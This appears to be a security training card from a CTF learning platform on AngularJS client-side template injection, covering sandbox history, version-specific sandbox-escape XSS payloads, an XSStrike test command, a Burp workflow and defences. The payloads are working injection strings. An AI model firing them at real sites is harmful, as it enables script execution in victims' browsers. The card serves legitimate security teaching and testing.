Browse CTFs New CTF Sign in

AngularJS expression injection

web_auth_sessions Difficulté 1–5 30 min certifiable

Théorie

Why This Matters

AngularJS expression injection was one of the most actively researched XSS bypass techniques from 2014 to 2018, coinciding with AngularJS's peak adoption period. Because ng-app directives cause AngularJS to evaluate {{ }} expressions in the DOM, any HTML injection point on an AngularJS-powered page became a template injection vector. The AngularJS sandbox was progressively hardened across versions 1.0 through 1.6, with each version introducing a new sandbox and each version having its own bypass published by researchers including Gareth Heyes and Mario Heiderich. This history is a canonical case study in why client-side sandboxing is architecturally fragile. Legacy AngularJS applications remain in production across enterprise and government environments, and the CSP bypass via AngularJS loaded from cdnjs.cloudflare.com remains relevant wherever that CDN is allowlisted.

Core Concept

AngularJS (versions 1.x) evaluates template expressions enclosed in {{ }} within any DOM element that falls within the scope of an ng-app directive. This evaluation happens entirely in the browser's JavaScript engine via AngularJS's expression parser. Unlike server-side SSTI, there is no server component — the injection and execution are purely client-side.

The violated invariant is that user-controlled data placed in the DOM within an ng-app scope is evaluated as a template expression if it contains {{ }} delimiters. An application that applies server-side HTML encoding correctly (so <script> becomes &lt;script&gt;) may still be vulnerable to AngularJS expression injection because { and } are not HTML-special characters and pass through encoding unmodified.

The AngularJS sandbox (present in versions 1.0–1.5) was intended to restrict expression evaluation to prevent access to window, document, __proto__, and the Function constructor. It was implemented in the expression parser by blocking certain identifiers and by walking the prototype chain to detect security violations.

Sandbox escape exploits the fact that the sandbox cannot enumerate all paths to dangerous functionality in JavaScript's object model. The most widely known bypass for versions 1.5 and below:

constructor.constructor('alert(1)')()

This works by: accessing {}.constructor (which is Object), then .constructor again (which is Function), then calling Function('alert(1)')() — which creates and immediately invokes a new function. The sandbox did not recognise this as prohibited because it only checked specific property names, not all paths through the prototype chain to Function.

AngularJS version 1.6 removed the sandbox entirely, acknowledging it was not a viable security boundary. Applications using AngularJS >= 1.6 are fully vulnerable to expression injection without any sandbox bypass needed. Detecting the AngularJS version from the page source (angular.version.full in the browser console, or the script tag filename) determines which payload applies.

The critical contrast with server-side SSTI: AngularJS expression injection runs in the browser under the victim's security context; server-side SSTI runs on the server under the server process's context. Server-side SSTI enables server compromise; AngularJS injection enables XSS-level browser-context code execution.

Technical Deep-Dive

// Step 1: Detect AngularJS presence — check page source for ng-app
// <html ng-app="myApp">  or  <div ng-app>

// Step 2: Confirm version from browser console
angular.version.full
// → '1.5.8' → sandbox present, use escape payload
// → '1.6.10' → no sandbox, direct expression execution

// Step 3: Arithmetic confirmation — inject into reflected parameter
// If {{7*7}} renders as '49' in the page, expression injection is confirmed
// AngularJS 1.5.x and below — sandbox escape via constructor chain
{{constructor.constructor('alert(document.domain)')()}}

// Alternative for versions where direct constructor is blocked:
{{$eval.constructor('alert(document.domain)')()}}

// Version-specific bypasses (examples from published research):
// AngularJS 1.2.x:
{{a=toString().constructor.prototype;a.charAt=[].join;$eval('x=alert(1),')}}

// AngularJS 1.3.1:
{{'a'.constructor.prototype.charAt=[].join;$(eval)('x=alert(1),')}}

// AngularJS 1.4.x:
{{'.constructor.prototype.charAt=[].join;['a'].join($eval.call(0,'alert(1)'))}}

// AngularJS 1.6+ (no sandbox — direct expression execution):
{{constructor.constructor('alert(document.domain)')()}}
// Works directly; no escape required
<!-- Detecting AngularJS version in page source: -->
<!-- Version in script src filename: -->
<script src="/libs/angular-1.5.8.min.js"></script>

<!-- ng-app scope location — injection must be INSIDE this element: -->
<div ng-app>
  <!-- user-controlled reflection here is exploitable -->
  <span>{{userInput}}</span>
</div>
# Testing AngularJS expression injection with XSStrike:
python3 xsstrike.py -u 'https://target.example.com/search?q=FUZZ' --angular

# Manual Burp workflow:
# 1. Inject {{7*7}} into every reflected parameter via Burp Repeater
# 2. Look for '49' in response body (not the literal string {{7*7}})
# 3. Confirm ng-app scope wraps the injection point in response HTML
# 4. Select version-appropriate bypass and confirm alert(document.domain) fires

Security Assessment Methodology

  1. Detect AngularJS presence — Examine page source for ng-app, ng-controller, and ng-model attributes. Check for AngularJS script tags and note the version from the filename or script content.
  2. Inject arithmetic expression — Submit {{7*7}} in every reflected parameter. A rendered 49 in the response confirms expression injection; the literal string {{7*7}} indicates the parameter is not in an ng-app scope or expressions are disabled.
  3. Determine exact version — Extract the AngularJS version from the script src path or from angular.version.full in the browser console.
  4. Test sandbox bypass payload — For versions 1.0–1.5, apply the constructor.constructor('alert(document.domain)')() chain. If blocked, consult the PortSwigger XSS cheat sheet for version-specific bypass payloads.
  5. For AngularJS >= 1.6 — The sandbox is absent; direct expression execution applies. Use {{constructor.constructor('alert(document.domain)')()}} directly.
  6. Confirm injection point is within ng-app scope — Verify the injection is within an element under an ng-app or ng-controller scope. Injections outside the scope are not evaluated by AngularJS.
  7. Document version, bypass payload, and execution context — Report the AngularJS version, the specific bypass payload used, and confirmation that alert(document.domain) fires in a real browser.

Defensive Countermeasure — Do not place user-controlled data directly in the DOM within an AngularJS ng-app scope without sanitisation. Prefer ng-bind (applies text encoding, equivalent to textContent) over ng-bind-html (renders HTML). Avoid AngularJS $sce.trustAsHtml() for user-controlled content, as it bypasses all sanitisation. For new development, migrate from AngularJS 1.x to Angular 2+ (a completely rewritten framework that compiles templates at build time and does not evaluate {{ }} as executable code from the runtime DOM). Apply a Content Security Policy that prohibits unsafe-eval to block Function constructor execution as a defence-in-depth measure.

Common Assessment Errors

  • Testing {{7*7}} in non-ng-app contexts — A reflection outside the ng-app scope renders the literal string, not 49. Always confirm the ng-app element encloses the injection point.
  • Using only one sandbox bypass payload — Different AngularJS minor versions require different bypass chains. Using only the 1.5 chain on a 1.3 application (or vice versa) may fail; consult a version-indexed reference.
  • Confusing AngularJS (1.x) with Angular (2+) — Angular 2+ pre-compiles templates; it does not evaluate {{ }} as executable code from the DOM at runtime. Expression injection techniques are AngularJS 1.x only.
  • Missing the CSP interaction — AngularJS expression injection ultimately calls the Function constructor. A CSP with unsafe-eval blocked may prevent execution. Test payload execution with and without CSP active.
  • Not noting the version — Reporting "AngularJS expression injection" without specifying the version fails to communicate exploitability. Version 1.6+ has no sandbox; older versions require specific bypass payloads.
  • Failing to check whether delimiter expressions are disabled — Some AngularJS applications use $interpolateProvider to change or disable the default {{ }} delimiters. If {{7*7}} renders literally, check for alternative delimiter configuration before concluding the application is not vulnerable.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of client-side template injection as a JavaScript-level XSS variant distinct from server-side SSTI
K0070 Knowledge of system and application security threats and vulnerabilities Covers AngularJS sandbox history, version-specific bypasses, and ng-app scope requirements
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains expression injection detection and version-specific bypass payload selection
S0044 Skill in mimicking threat behaviors Builds adversarial skill in JavaScript constructor chain traversal for sandbox escape
T0028 Task: Identify systemic security issues based on vulnerability and configuration data Covers ng-bind vs ng-bind-html usage review, CSP unsafe-eval configuration, and AngularJS version inventory assessment

Further Reading

  • XSS Without HTML: Client-Side Template Injection with AngularJS — Gareth Heyes, PortSwigger Research
  • AngularJS Sandbox Escapes — PortSwigger XSS cheat sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet)
  • AngularJS Security Documentation — Angular team (legacy.angular.io/guide/security)
  • The Web Application Hacker's Handbook, 2nd ed. — Stuttard & Pinto, Wiley

Challenge Lab

Renforcez votre apprentissage avec un défi généré basé sur la compétence de cette carte.